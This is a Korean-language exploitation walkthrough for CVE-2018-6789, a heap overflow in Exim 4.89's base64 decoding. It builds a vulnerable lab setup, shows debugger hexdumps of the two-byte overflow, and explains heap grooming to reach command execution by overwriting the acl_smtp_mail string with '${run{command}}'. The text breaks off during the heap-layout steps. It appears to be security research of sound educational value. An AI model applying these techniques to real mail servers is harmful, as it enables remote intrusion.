
Exim의 base64 디코딩에서 발생하는 힙 버퍼 오버플로우인 CVE-2018-6789용 익스플로잇으로, 청크 오버랩과 ACL 문자열 조작을 통해 원격 코드 실행을 달성합니다.
의존성 설치
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev
이전 버전의 exim 다운로드
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf
그런 다음 Local/Makefile 수정 편의상 각 폴더는 현재 디렉토리를 가리키도록 함
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes
이렇게 하면 디버깅이 편리함 그런 다음 컴파일 및 설치
make install
./configure 수정, 아래 내용으로 덮어쓰기
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
.ifdef CHECK_MAIL_HELO_ISSUED
deny
message = no HELO given before MAIL command
condition = ${if def:sender_helo_name {no}{yes}}
.endif
accept
acl_check_data:
accept
begin authenticators
fixed_cram:
driver = cram_md5
public_name = CRAM-MD5
server_secret = ${if eq{$auth1}{ph10}{secret}fail}
server_set_id = $auth1
./bin/exim -bd -d-receive
먼저 base64.c에 있는 패치를 분석
여기서 result는 base64 디코딩 결과가 저장되는 버퍼로, store_get 함수로 획득함
패치 이전의 size 계산에 문제가 있음을 확인할 수 있음. size가 4n ~ 4n+3 범위에 있을 때 계산된 size의 길이는 동일하지만, b64decode는 4의 배수가 아닌 인자를 디코딩할 때 한두 바이트를 더 디코딩함
예를 들어 직접 전송
auth_md5('Hf'*42)
size=0x40
결과 메모리 분포:
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 00 │....│....│....│....│
+0040 0x711da0 20 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
다시 시도
auth_md5('Hf'*42+'HfH')
size=0x40
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0040 0x711da0 f1 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
두 바이트 오버플로우 발생
Exim은 성능 향상을 위해 기존 힙 관리 메커니즘 위에 자체 메모리 관리 메커니즘을 구현함. 이는 코드와 glibc 사이의 중간 버퍼 역할을 하며, malloc과 free의 횟수를 줄이는 것이 목적
Exim에서 개별 힙 블록을 storeblock이라고 함. 사용 시 그 안에서 적절한 크기의 버퍼를 분할하여 사용하며, storeblock이 모두 사용되면 새로운 storeblock을 malloc함.
각 storeblock의 구조는 단순한 단일 연결 리스트임:
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
struct storeblock *next;
size_t length;
} storeblock;
프로그램이 힙을 사용할 때 주로 사용하는 API는 store.c에 있음:
store_get
store_release
store_extend
store_reset
store_get은 버퍼를 획득하는 데 사용되며, 핵심 코드는 다음과 같음:
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145 int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161 /* If there was no free block, get a new one */
162
163 if (!newblock)
164 {
165 pool_malloc += mlength; /* Used in pools */
166 nonpool_malloc -= mlength; /* Exclude from overall total */
167 newblock = store_malloc(mlength);
...
보이는 바와 같이 매번 요청되는 store_block의 최소 길이는 STORE_BLOCK_SIZE, 즉 8192
따라서 8192 크기의 store_block은 구조체 헤더와 힙 블록 헤더를 포함하여 총 크기가 0x2020이 됨

Exim이 클라이언트가 보낸 명령어를 실행할 때마다 명령어 실행이 성공하면 store_reset을 호출하여 불필요한 캐시나 남은 store_block을 해제함 여기서 말하는 실행 성공은 명령어 형식이 올바르고, 이메일에 불법 문자 등이 포함되지 않은 경우를 의미하며, 그렇지 않으면 store_reset이 호출되지 않음
이 취약점은 고전적인 off-by-one(사실 두 바이트 오버플로우도 가능)이나, 오버플로우되는 바이트 수가 적어 힙 블록의 민감한 구조를 직접 덮어쓸 수 없음. 따라서 ptmalloc의 특성을 이용하여 이 취약점의 영향을 확대하고 더 넓은 범위의 overflow, 또는 overlap으로 전환해야 함. off-by-one 취약점의 고전적인 공격 방법은 chunk enlarge -> chunk overlap임. 힙 블록의 크기를 크게 변경한 후 가짜 힙 헤더를 만들어 glibc의 정합성 검사를 우회하여 힙 블록의 중첩을 유발하고 더 넓은 범위의 덮어쓰기를 실현.
여기서 주요 과정은 chunk enlarge -> chunk overlap -> storeblock의 next 포인터 손상 후 store_reset을 트리거하여 임의의 힙 블록을 free시키고, 이 블록을 다시 할당받아 해당 내용을 수정(type confusion)하는 것. meh는 ACL 문자열이 있는 힙 블록을 수정할 것을 권장하는데, ACL 문자열 처리에는 명령 실행 기능이 있기 때문. ACL 문자열은 매우 많지만 대부분 NULL(아마도 설정 파일 때문). 여기서는 acl_smtp_mail 문자열을 선택했으며, 명령 실행 구문은 다음과 같음:
${run{command}}
대략적인 힙 레이아웃은 다음과 같음

첫 번째 힙 블록은 base64 디코딩으로 얻은 블록으로, off-by-one을 위해 사용되므로 storeblock의 끝에 위치해야 함. 편의상 0x2020보다 큰 블록을 직접 할당하여 base64 디코딩 결과를 저장함. 두 번째 힙 블록은 sender_helo_name으로, 다음 힙 블록을 덮어쓰는 데 사용됨. sender_helo_name은 storeblock에 저장되지 않고 직접 malloc됨:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);
그러므로 크기는 자유롭게 설정 가능. 세 번째 힙 블록은 base64 디코딩으로 얻은 블록으로, 주로 헤더를 위조하고 덮어쓰여지므로 storeblock의 시작 부분에 위치해야 함. 편의상 0x2020 크기로 직접 할당함.
나의 exp도 다른 사람들의 분석을 따라 단계별로 작성되었음. 큰 틀은 동일하지만 힙 레이아웃이 다소 달라 일부 작은 매개변수에 차이가 있음.
먼저 크기가 0x6060인 unsortedbin을 생성. 다음 명령어만으로 가능
ehlo('a'*0x1000)
exim이 "EHLO "+'a'*0x1000을 수신하면 match.c의 match_check_list 함수에서 다음 세 문자열이 생성됨
*name* in helo_lookup_domains? no (end of list)
sender_fullhost = (*name*) [127.0.0.1]
sender_rcvhost = [127.0.0.1] (helo=*name*)
여기서 *name*은 'a'*0x1000
name의 길이가 0x1000이므로 각 문자열은 각각 하나의 storeblock을 차지하고, 이 세 문자열은 연속된 세 개의 storeblock에 위치하게 됨. exim이 ehlo 명령을 성공적으로 완료하면 smtp_in.c의 smtp_setup_msg에서 앞의 세 문자열을 해제하여 0x6060 크기의 힙 블록을 생성함:
4369 cancel_cutthrough_connection(TRUE, US"sent EHLO response");
4370 smtp_reset(reset_point);
4371 toomany = FALSE;
4372 break; /* HELO/EHLO */
이 때 힙 레이아웃은 다음과 같음:
